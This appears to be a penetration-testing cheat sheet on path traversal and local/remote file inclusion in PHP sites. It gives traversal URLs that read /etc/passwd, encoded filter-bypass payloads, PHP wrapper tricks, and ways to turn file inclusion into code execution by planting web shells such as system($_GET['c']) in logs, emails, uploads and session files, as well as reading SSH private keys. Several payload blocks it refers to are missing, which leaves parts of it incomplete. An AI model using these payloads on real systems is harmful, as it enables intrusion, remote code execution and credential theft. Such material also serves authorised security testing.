Path traversal & LFI/RFI

Basic path traversal

http://website.com/index.php?page=../../../etc/passwd

Inside the same directory

http://website.com/index.php?page=dir1/dir2/../../../../../etc/passwd

Remote File Inclusion (RFI): The file is loaded from a remote server (RWX). In php this is disabled by default (allow_url_include). Local File Inclusion (LFI): The sever loads a local file (Read-only)

Here is a list to my gist holding a list of a bunch of paths to try. https://gist.github.com/TurboWindX/9e4f753868de11b2f96bc3c74dc320ef https://gist.github.com/TurboWindX/37454e618bcf8ed4ff8eed7a169ee6bf

Filter Bypass

Encoding

Encode path traversal payload into different encoding such as double-URL, etc.

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=....%c0%af//....%c0%af....//%c0%afetc%c0%afpasswd

Always try to encode once,twice, and thrice. Try unicode. Try harder.

Make sure to bypass front-end user input sanitization by using a web proxy such as ZAProxy or burp.

Path truncation

Bypass the append of more chars at the end of the provided string (bypass of: $_GET['param']."php")

Always try to start the path with a fake directory (a/).

This vulnerability was corrected in PHP 5.3.

Remote file inclusion

Wrappers

Wrapper php://filter

Base64 and rot13

The part "php://filter" is case insensitive

zlib (compression)

Can be chained with a compression wrapper for large files.

To read the comppression data you need to decode the base64 and read the resulting data using:

NOTE: Wrappers can be chained

Wrapper zip://

Upload a Zip file with a PHPShell inside and access it.

Wrapper data://

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Note that this protocol is restricted by php configurations allow_url_open and allow_url_include

Wrapper expect://

Expect has to be activated. You can execute code using this.

Wrapper input://

Specify your payload in the POST parameters

Wrapper phar://

A .phar file can be also used to execute PHP code if the web is using some function like include to load the file.

And you can compile the phar executing the following line:

A file called test.phar will be generated that you can use to abuse the LFI.

Wrapper Input

LFI->RCE

Log Poisoning

If the Apache server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and execute code using the "c" GET parameter.

Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string "quote;", PHP will throw an error there and nothing else will be executed.

This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation "basic" contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.

Note: While Path/Directory Traversal may seem similar to Local File Inclusion (LFI) and Remote File Inclusion (RFI), Path/Directory Traversal vulnerabilities only allow an attacker to read a file, while LFI and RFI may also allow an attacker to execute code.

Via Email

Send a mail to a internal account (user@localhost) containing <?php echo system($_REQUEST["cmd"]); ?> and access to the mail /var/mail/USER&cmd=whoami

Via /proc/*/fd/*

  1. Upload a lot of shells (for example : 100)

  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)

Via /proc/self/environ

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file

Via upload

If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?> ).

In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf

Via Zip fie upload

Upload a ZIP file containing a PHP shell compressed and access:

Via PHP sessions

Check if the website use PHP Session (PHPSESSID)

In PHP these sessions are stored into /var/lib/php5/sess\[PHPSESSID]_ files

Set the cookie to <?php system('cat /etc/passwd');?>

Use the LFI to include the PHP session file

Via ssh

If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access <HOME>/.ssh/id_rsa

Wordpress

Try following payload to grab wordpress config

FLASK Template Injection

Use following payload as parameter

Last updated

Was this helpful?